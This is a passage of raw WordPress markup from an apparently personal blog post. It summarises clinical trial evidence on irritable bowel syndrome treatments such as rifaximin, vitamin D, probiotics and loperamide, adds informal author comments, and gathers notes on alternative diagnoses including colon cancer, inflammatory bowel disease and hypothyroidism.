href=\"https://scholar.google.com/scholar_lookup?journal=Digestive+diseases+and+sciences&amp;title=Antidepressant+therapy+(imipramine+and+citalopram)+for+irritable+bowel+syndrome:+a+double-blind,+randomized,+placebo-controlled+trial&amp;author=NJ+Talley&amp;author=JE+Kellow&amp;author=P+Boyce&amp;author=C+Tennant&amp;author=S+Huskic&amp;volume=53&amp;issue=1&amp;publication_year=2008&amp;pages=108-15&amp;pmid=17503182&amp;doi=10.1007/s10620-007-9830-4&amp;\">Talley: Antidepressant therapy (imipramine and citalopram... - Google Scholar</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study didn’t find any effect for citalopram, but it did find it for imipramine.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of&nbsp; 51&nbsp; IBS&nbsp; patients&nbsp; randomized,&nbsp; baseline&nbsp; characteristics were comparable among the treatment arms; themajority was diarrhea-predominant. Adequate relief of IBS symptoms&nbsp; (primary&nbsp; endpoint)&nbsp; was&nbsp; similar&nbsp; for&nbsp; each&nbsp; treat-ment arm. Improvements in bowel symptom severity rating for&nbsp; interference&nbsp; (P= 0.05)&nbsp; and&nbsp; distress&nbsp; (P= 0.02)&nbsp; were greater with imipramine versus placebo, but improvements in abdominal &nbsp; pain&nbsp; were not. There &nbsp; was &nbsp; a &nbsp; greater improvement in depression score (P = 0.08) and in the SF-36 Mental Component&nbsp; Score (P= 0.07), with imipramine. Citalopram was not superior to placebo. Approximately 20% of&nbsp; the&nbsp; variance&nbsp; in&nbsp; scores&nbsp; was&nbsp; explained&nbsp; by&nbsp; treatment&nbsp; differences&nbsp; for&nbsp; abdominal&nbsp; pain,&nbsp; bowel&nbsp; symptom&nbsp; severity disability, depression and the mental component of the SF-36.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Rifaximin</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5291563/\">Rifaximin for Irritable Bowel Syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a metastudy of the 4 studies they found that tested rifaximin. Rifaximin came out pretty well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/fVb03CIWGHTEN9MXLF2XWw1hpiKtjoT1YdZ33BJBlz2VXiQ4omkgf6fWUsgbmPkRcyWhEaBcjTBfLViuKO1C0sQjncujoZPFB03SKxVI53c785ZDZS3LhUfJeNkkXre5sqBJK4vL\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/O2cQK6kc7C0Ryx4YJdnK2g8cyt1gy04hVK5HESHprJIUiYMClToNSGqZRURu3IrA185CgEsHkS16ssD3MIns7oOI6SNdkeRULPiEgV-o6R8O2ZnRD2lrzMPQ-yG9hC5JlpGELUrz\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Abdominal Pain</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of abdominal pain during the treatment period was observed between the 3 RCTs in which abdominal pain was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nausea</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of nausea during the treatment period was observed between the 3 RCTs in which nausea was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vomiting</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of vomiting during the treatment period was observed between the 3 RCTs in which vomiting was reported (<em>I</em>2 = 0%)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Headache</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of headache during the treatment period was observed between the 3 RCTs in which headache was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vitamin D</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Very high doses of vitamin D every 2 weeks probably improve IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/nmo.12851\"><strong>Effect of vitamin D on gastrointestinal symptoms and health‐related quality of life in irritable bowel syndrome patients: a randomized double‐blind clinical trial - Abbasnezhad - 2016 - Neurogastroenterology &amp;amp; Motility - Wiley Online Library</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I like this one because it’s actually long term. It shows remarkably big effects, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 90 IBS patients participated in this double‐blind, randomized, placebo‐controlled study. Participants were randomly selected to receive either 50 000 IU vitamin D3 or a placebo fortnightly for a period of 6 months. Patients reported their IBS symptoms at the baseline and monthly during intervention periods</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the 6‐month intervention period, a significantly greater improvement in IBS symptoms such as abdominal pain and distention, flatulence, rumbling, and overall gastrointestinal (GI) symptoms (except dissatisfaction with bowel habits) was observed in the patients receiving vitamin D as compared to the placebo group. The IBSSS and the IBS‐QoL scores in the vitamin D group significantly improved compared to the placebo group postintervention (mean IBSSS score change: −53.82 ± 23.3 <em>vs</em> −16.85 ± 25.01, <em>p</em> &lt; 0.001, respectively; mean IBS‐QoL score change: 14.26 ± 3 <em>vs</em> 11 ± 2.34, <em>p</em> &lt; 0.001, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0158545\">Co-Administration of Soy Isoflavones and Vitamin D in Management of Irritable Bowel Disease (plos.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one also tests isoflavones, and seems to find a bigger effect of soy isoflavones than vitamin D, although both have an effect. It was only for 6 weeks, though. Also, the groups seem really poorly assigned: the before scores are all over the place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a factorial blinded randomized clinical trial, 100 women with IBS (age:18-75yr, were randomly assigned in 4 arms to receive either placebo of vitamin D and placebo of soy isoflavones (P+P), or placebo of vitamin D and soy isoflavones (P+S), or vitamin D and placebo of soy isoflavones (D+P), or vitamin D and soy isoflavones (D+S) for 6 weeks. Dosage of soy isoflavone was 2 capsules of 20 mg soy isoflavones per day, and dosage of vitamin D was one pearl of 50’000 IU biweekly. The clinical outcomes were IBS symptoms severity scores (IBS-SSS), disease- specific quality of life (IBS-QOL) and total score (IBS-TS) that evaluated at weeks 0, 6, and 10, and compared to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3kC-UPQilx1ay5tWQbbPZvLJXsM5BFWne2W6gcxkE6bY9TFqss83v7RvEkLiSlGqS1PYfpa-bCsHTQm5VgOgzcfDSDErjjBYN7FuWFYm6SWeuEUjXW2xTWRcKq-tWeXVR2MUgOyi\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/3O_uEfVZsAkC3sARQuSFvgklEkbx-okq5onFxlFs2rfyACX7-J8MppqULeG8w2wWByw2bknhPu67PvGwdOz5zSv2fcl1UT3g11ySBmO_UXzUlgzEzWDKc3Tpl4TvHIaz93UJ18UW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Soy isoflavones</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Soy isoflavones may improve IBS, but it’s hard to tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4560632/\">Soy Isoflavones Supplementation for Patients with Irritable Bowel Syndrome: A Randomized Double Blind Clinical Trial (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is just testing soy isoflavones. It’s really hard to tell what’s going on here, as either the soy isoflavones did show some amount of improvement that was almost significant (p value of 0.068), or they actually made things worse.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a randomized double blind placebo-controlled clinical trial, 67 patients with IBS were allocated to consume either soy isoflavones capsules or a placebo for 6 weeks. The primary outcome was a significant reduction in symptoms severity score and the secondary outcome was a significant improvement in quality of life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>45 participants completed the study. There was no significant changes in mean differences of symptoms severity score between the two groups; however soy isoflavone supplementation could significantly improve the quality of life scores (<em>p</em>=0.009).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Gwt0z67QCnAeyoz2MSiLwj_7d_nkS1t1oHpoxr269unsANIrqP5lImRD2n8K2y9QsVfOg2hO-jliOT4Hb8eLrj1WtZZ_h9_WoyvQEmI-3THmYjwkY-Exaqpb65XsOrDOQOFfPjpO\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Acupuncture</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acupuncture probably doesn’t work better than fake acupuncture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3718572/\">Acupuncture for treatment of irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one seems self-explanatory. Also, I’m biased against acupuncture.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We found no evidence of an improvement with acupuncture relative to sham (placebo) acupuncture for symptom severity (SMD-0.11, 95%CI −0.35 to 0.13; 4 RCTs; 281 patients) or quality of life (SMD = −0.03, 95%CI −0.27 to 0.22; 3 RCTs; 253 patients).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Probiotics</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probiotics may help a little bit but it’s hard to tell. This is compounded by the fact that how probiotics are stored and processed matters a lot to whether they survive all the way to colonize your digestive tract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://scielo.isciii.es/pdf/diges/v105n1/original4.pdf#page=1\">Effect of probiotic species on irritable bowel syndrome symptoms:A bring up to date meta-analysis</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study only looked at species, and not at formulation. Also, I don’t trust that some probiotics improve pain, but not distension. That doesn’t make sense.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/GqMUYE2BjG5CWvQfcimTf9mp5ZlN4BsKG_pJzwf47UuTyktOEW9466BAuIKOyWMQAgqY1lw8nzp2UrMPv7RFc6MUOMsycpjbUGL-1_mOhyd1hPv8nMJRgQoydktSOvmfYAmBRBJG\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK77020/\">The utility of probiotics in the treatment of irritable bowel syndrome: a systematic review - Database of Abstracts of Reviews of Effects (DARE): Quality-assessed Reviews - NCBI Bookshelf (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study. It discusses that the only properly performed studies that showed a good effect were on B.infantis.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sixteen RCTs (n=1,342) met the inclusion criteria. Studies scored between 5 and 12 points on the Rome II methodology scale. Eleven studies were considered to be of suboptimal design (precise definition of suboptimal was not clear).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two of the appropriately-designed RCTs evaluated Bifidobacterium infantis 35624 and reported statistically significant improvements in abdominal pain/discomfort, bloating/distension and/or bowel movement relative to placebo (p&lt;0.05). In these two trials B. infantis 35624 was given daily for four or eight weeks as 1x1010 live cells in malted milk drink or 1x106, 1x108 or 1x1010 colony forming units per millilitre in capsule form. None of the other studies described as appropriately designed showed significant improvements in IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No studies reported quantifiable data on relative tolerability or adverse events.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/03007995.2017.1292230\">Efficacy of Bifidobacterium infantis 35624 in patients with irritable bowel syndrome: a meta-analysis: Current Medical Research and Opinion: Vol 33, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study on B. infantis specifically. They found that single B. infantis didn’t help, but combination B. infantis did. That doesn’t really make sense to me. I’d bet it’s a formulation problem.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of five studies were identified as suitable for inclusion, including three studies with single probiotic <em>B. infantis</em> and two studies with composite probiotics containing <em>B. infantis</em>. Treatment with single probiotic <em>B. infantis</em> didn’t impact on abdominal pain, bloating/distention, or bowel habit satisfaction among IBS patients. However, patients who received composite probiotics containing <em>B. infantis</em> had significantly reduced abdominal pain (SMD, 0.22; 95% CI, 0.03–0.41) and bloating/distention (SMD, 0.30; 95% CI, 0.04–0.56). After combining the data from six studies, the improvement of bloating/distention among IBS patients remained significant (SMD, 0.21; 95% CI, 0.07–0.35).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Mesalazine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesalazine is probably not effective in IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/65/1/82.short\">Randomised controlled trial of mesalazine in IBS | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>So, this paper basically found that both placebo and mesalazine had the same “response rate”, which was 67%. Then they tried to rescue it by doing a bunch of complicated statistics, but it really didn’t work that well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the primary endpoint, the responder patients were 68.6% in the mesalazine group versus 67.4% in the placebo group (p=0.870; 95% CI −12.8 to 15.1). In explorative analyses, with the 75% rule or &gt;75% rule, the percentage of responders was greater in the mesalazine group with a difference over placebo of 11.6% (p=0.115; 95% CI −2.7% to 26.0%) and 5.9% (p=0.404; 95% CI −7.8% to 19.4%), respectively, although these differences were not significant. For the key secondary endpoint, overall symptoms improved in the mesalazine group and reached a significant difference of 15.1% versus placebo (p=0.032; 95% CI 1.5% to 28.7%) with the &gt;75% rule.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Loperamide</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1\">https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study basically showed that loperamide works well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loperamide treatment accelerated gastric emptying, compared with placebo (1.2 +- 0.1 vs 1.5 +- 0.1 hr; P &lt; 0.001) and delayed both small bowel (6.2 + 0.3 vs 4.3 + 0.3 hr; P &lt; 0.001) and whole gut transit (56 +- 5 vs 42 +_ 4 hr; P &lt; 0.01). Eighteen patients said they felt better taking loperamide compared with placebo and, at follow up, 15 of these patients remained satisfied with the effects of the drug. Most symptoms improved significantly on placebo compared with the baseline period, but three of these [diarrhea (P &lt; 0.01), urgency (P &lt; 0.01) and borborygmi (P &lt; 0.05)] showed a further significant improvement on loperamide. Improvement in diarrhea was not associated with any change in stool weight but was associated with reductions in stool frequency (P &lt; 0.001), passage of unformed stools (P &lt; 0.01), and incidence of urgency (P &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365529609006766\">A Double-Blind Placebo-Controlled Trial with Loperamide in Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 31, No 5 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide improved IBS symptoms, but increased pain at night.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Clinical variables and social and personal relationships were similar for the loperamide group (<em>n</em>&nbsp;= 35), the placebo group (<em>n</em>&nbsp;= 34), the dropouts (<em>n</em>&nbsp;= 21), and the controls. Somatic diseases and mental disturbances were increased in the patients compared with the controls. Throughout the 5 weeks of treatment an improved stool consistency (32%), reduced defecation frequency (36%), and reduced intensity of pain (30%) were found in the loperamide group. An increase in nightly pain was observed in the loperamide group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091004\">Loperamide Treatment of the Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helped diarrhea but made constipation worse (duh).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a group of patients with painless diarrhoea (n = 16) there was a highly significant improvement in stool frequency and consistency. In a group with alternating bowel habits and abdominal pain (n = 21) there was also a statistically significant improvement in stool frequency and consistency as well as significantly fewer painful days during loperamide treatment. Patients with alternating bowel habits and no pain (n = 12) experienced no symptomatic improvement, and patients with constipation (n = 9) generally felt worse on loperamide. No side effects were encountered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091003\">Loperamide in Treatment of Irritable Bowel Syndrome—A Double-Blind Placebo Controlled Study: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helps diarrhea and diarrhea-related symptoms.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The effects of loperamide in patients with IBS (all had diarrhoea as a main symptom) were studied in a double-blind placebo controlled trial. Subjective overall response, stool consistency and six individual symptoms (urgency, pain, frequency, flatulence, borborygmi and painful propulsions) were studied over a 13 week long treatment period. Twenty-one patients out of 25 completed the trial, 11 in the loperamide group and 10 in the placebo group. A significant advantage for loperamide was found for stool consistency (p&lt;0.001), pain (p&lt;0.02) and urgency (p&lt;0.05). Subjective overall response was also significantly better in the loperamide group (p&lt;0.03).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my list of diagnoses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Diverticulitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis/symptoms-causes\"><strong>Symptoms &amp; Causes of Diverticular Disease | NIDDK (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Most people with </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis\"><strong>diverticulosis</strong></a><strong> do not have symptoms. If your diverticulosis causes symptoms, they may include</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.niddk.nih.gov/Dictionary/B/bloating\"><strong>bloating</strong></a></li><li><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/constipation\"><strong>constipation</strong></a><strong> or </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diarrhea\"><strong>diarrhea</strong></a></li><li><strong>cramping or pain in your lower </strong><a href=\"https://www.niddk.nih.gov/Dictionary/A/abdomen\"><strong>abdomen</strong></a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In most cases, when you have diverticular bleeding, you will suddenly have a large amount of red or maroon-colored blood in your </strong><a href=\"https://www.niddk.nih.gov/Dictionary/S/stool\"><strong>stool</strong></a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Studies have found links between diverticular disease—diverticulosis that causes symptoms or problems such as diverticular bleeding or diverticulitis—and the following factors:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>certain medicines—including </strong><a href=\"https://medlineplus.gov/painrelievers.html\"><strong>nonsteroidal anti-inflammatory drugs</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong> (NSAIDs), such as </strong><a href=\"https://medlineplus.gov/druginfo/meds/a682878.html\"><strong>aspirin</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong>, and </strong><a href=\"https://medlineplus.gov/steroids.html\"><strong>steroids</strong></a><strong> </strong><strong><em>NIH external link</em></strong></li><li><strong>lack of exercise</strong></li><li><a href=\"https://www.niddk.nih.gov/Dictionary/O/obesity\"><strong>obesity</strong></a></li><li><strong>smoking</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Testing for colon cancer:&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1093/annonc/mdq168\">Sci-Hub | Primary colon cancer: ESMO Clinical Practice Guidelines for diagnosis, adjuvant treatment and follow-up | 10.1093/annonc/mdq168 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About 70% of patients with colon cancer are &gt;65 years of age and the disease is rare under the age of 45 (2 per 100 000/year).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer most commonly occurs sporadically and is inherited in only 5%–10% of cases. Migrant studies indicate that when populations move from a low-risk area (e.g. Japan) to a high-risk area (e.g. the USA), the incidence increases rapidly within the first generation of migrants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smoking has consistently been associated with large colorectal adenomas, which are generally accepted as precursors for cancer. An updated review suggested a temporal pattern consistent with an induction period of three to four decades between genotoxic exposure and the diagnosis of colorectal cancer. In the USA one in five colorectal cancers may be potentially attributable to tobacco use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inflammatory bowel diseases (Crohn’s disease and ulcerative colitis) increase the risk of colon cancer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients who have had previous malignant disease are also at great risk of developing a second colorectal tumour</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The metabolic syndrome (high blood pressure, increased waist circumference, hypertriglyceridaemia, low levels of high-density lipoprotein cholesterol or diabetes/ hyperglycaemia) had a modest, positive association with colorectal cancer incidence among men, but not among women</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because early cancer produces no symptoms and because many of the symptoms are non-specific (change in bowel habits, general abdominal discomfort, weight loss with no apparent cause, constant tiredness),</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Up to now two strategies have been available: faecal occult blood test (FOBT) and endoscopy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1773686/#:~:text=Colorectal%20cancer%20(CRC)%20is%20one,an%20increased%20risk%20of%20CRC.\">Influence of dietary factors on colorectal cancer survival (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer (CRC) is one of the most common cancers in the Western world. It is widely accepted that environmental factors, especially dietary factors, are involved in the aetiology of CRC. High intakes of fat, red meat, refined sugar, and energy have been associated with an increased risk of CRC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Inflammatory bowel disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0016508514009196#bib18\"><strong>The Diagnostic Approach to Monogenic Very Early Onset Inflammatory Bowel Disease - ScienceDirect</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twin studies have provided the best evidence for a genetic predisposition to IBD, which is stronger for CD than UC.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Genetic disorders that affect intestinal epithelial barrier function include dystrophic epidermolysis bullosa,32 Kindler syndrome,32 familial diarrhea caused by dominant activating mutations in guanylate cyclase C,33 X-linked ectodermal dysplasia and immunodeficiency,34 and ADAM17 deficiency.35</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As high as 40% of patients with chronic granulomatous disease develop CD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>VEOIBD has been described in a number of hyperinflammatory and autoinflammatory disorders such as mevalonate kinase deficiency,54, 55 phospholipase C-γ2 defects,56 familial Mediterranean fever,57, 58, 59 Hermansky–Pudlak syndrome (type 1, 4, and 6),60, 61, 62, 63, 64 X-linked lymphoproliferative syndrome type 165 and type 2,66, 67, 68 or familial hemophagocytic lymphohistiocytosis type 5</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disorders associated with IBD-like immunopathology include B-cell defects such as common variable immunodeficiency (CVID), hyper-immunoglobulin (Ig) M syndrome, and agammaglobulinemia.75, 76, 77, 78, 79 Several other primary immune deficiencies, such as Wiskott–Aldrich syndrome80 (WAS) and atypical SCID or Omenn syndrome81, 82 can also cause IBD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cow’s milk protein allergy is common and can cause severe colitis that resembles UC and even requires hospitalization. It manifests typically within the first 2 to 3 months of exposure to cow’s milk protein. This may be apparent with breast-feeding or only after introducing formula feeding. Colitis resolves after cow’s milk is removed from the diet, so a trial of exclusive feeding with an amino acid–based infant formula is a customary treatment strategy for all VEOIBD diagnosed when the patient is younger than 1 year of age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/jpgn/FullText/2014/06000/ESPGHAN_Revised_Porto_Criteria_for_the_Diagnosis.26.aspx\">ESPGHAN Revised Porto Criteria for the Diagnosis of Inflamma... : Journal of Pediatric Gastroenterology and Nutrition (lww.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bloody diarrhea is the most common presenting symptom in UC whereas CD may present with vague abdominal pain, diarrhea, unexplained anemia, fever, weight loss, or growth retardation as frequently reported symptoms. The classic “triad” of abdominal pain, diarrhea, and weight loss occurs in only 25% of patients with CD</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/20786204.2012.10874256\"><strong>Hypothyroidism: an update: South African Family Practice: Vol 54, No 5 (tandfonline.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Arthralgias (joint pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cold intolerance*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depression</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Difficulty concentrating</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Menorrhagia (heavy flow)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Myalgias (muscle pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weakness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weight gain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dry skin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hair thinning/hair loss</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Memory impairment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hyperthyroidism</strong></p>\n<!-- 